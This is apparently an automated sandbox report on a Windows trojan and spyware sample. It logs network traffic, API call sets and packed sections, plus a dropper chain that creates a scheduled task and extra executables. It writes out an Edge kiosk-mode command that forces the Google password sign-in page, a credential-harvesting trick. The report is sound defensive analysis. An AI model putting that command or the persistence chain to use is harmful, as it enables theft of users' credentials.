Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:49841 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B5EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_00B5EAFF

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B5ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00B5ED6A

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

6_2_00B5EAFF

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B4AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

6_2_00B4AA57

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B79576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00B79576

System Summary

Binary is likely a compiled AutoIt script file

Source: 9963a8aba7.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 9963a8aba7.exe, 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a643dbd0-5
Source: 9963a8aba7.exe, 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_11436537-1
Source: random[1].exe0.2.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_36e27d42-0
Source: random[1].exe0.2.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_1e972c8a-0
Source: 9963a8aba7.exe.2.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1c5e266b-5
Source: 9963a8aba7.exe.2.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e5d33045-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .rsrc
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: 86cd2764f3.exe.2.dr	Static PE information: section name:
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: .rsrc
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: .idata
Source: 86cd2764f3.exe.2.dr	Static PE information: section name:
Source: ada2950f18.exe.2.dr	Static PE information: section name:
Source: ada2950f18.exe.2.dr	Static PE information: section name: .rsrc
Source: ada2950f18.exe.2.dr	Static PE information: section name: .idata
Source: ada2950f18.exe.2.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B4D5EB: CreateFileW,DeviceIoControl,CloseHandle,

6_2_00B4D5EB

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B41201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_00B41201

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B4E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_00B4E8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_0090E440	2_2_0090E440
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00904CF0	2_2_00904CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00943068	2_2_00943068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00937D83	2_2_00937D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00904AF0	2_2_00904AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_0094765B	2_2_0094765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00942BD0	2_2_00942BD0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00946F09	2_2_00946F09
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00948720	2_2_00948720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_0094777B	2_2_0094777B
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AE8060	6_2_00AE8060
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B52046	6_2_00B52046
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B48298	6_2_00B48298
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B1E4FF	6_2_00B1E4FF
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B1676B	6_2_00B1676B
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B74873	6_2_00B74873
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B0CAA0	6_2_00B0CAA0
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AECAF0	6_2_00AECAF0
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AFCC39	6_2_00AFCC39
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B16DD9	6_2_00B16DD9
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AE91C0	6_2_00AE91C0
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AFB119	6_2_00AFB119
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B01394	6_2_00B01394
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B01706	6_2_00B01706
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B0781B	6_2_00B0781B
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B019B0	6_2_00B019B0
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AE7920	6_2_00AE7920
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AF997D	6_2_00AF997D
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B07A4A	6_2_00B07A4A
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B07CA7	6_2_00B07CA7
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B01C77	6_2_00B01C77
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B19EEE	6_2_00B19EEE
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B6BE44	6_2_00B6BE44
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B01F32	6_2_00B01F32

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe 2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: String function: 00AFF9F2 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: String function: 00B00A30 appears 46 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9998132257513661
Source: file.exe	Static PE information: Section: nyeytjol ZLIB complexity 0.9942120595450491
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9998132257513661
Source: explorti.exe.0.dr	Static PE information: Section: nyeytjol ZLIB complexity 0.9942120595450491
Source: random[1].exe.2.dr	Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344
Source: 86cd2764f3.exe.2.dr	Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344
Source: ada2950f18.exe.2.dr	Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344

Source: explorti.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@108/601@28/17

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B537B5 GetLastError,FormatMessageW,

6_2_00B537B5

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B410BF AdjustTokenPrivileges,CloseHandle,		6_2_00B410BF
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B416C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_00B416C3

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B551CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_00B551CD

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B6A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

6_2_00B6A67C

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B5648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

6_2_00B5648E

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00AE42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

6_2_00AE42A2

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

File created: C:\Users\user\AppData\Roaming\1000051000\

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Login Data.19.dr, Login Data.10.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 58%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 86cd2764f3.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: ada2950f18.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe "C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe "C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe "C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe"
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2016,i,16176918105418221585,11467192420078464089,262144 --disable-features=TranslateUI /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7820 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7756 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:3
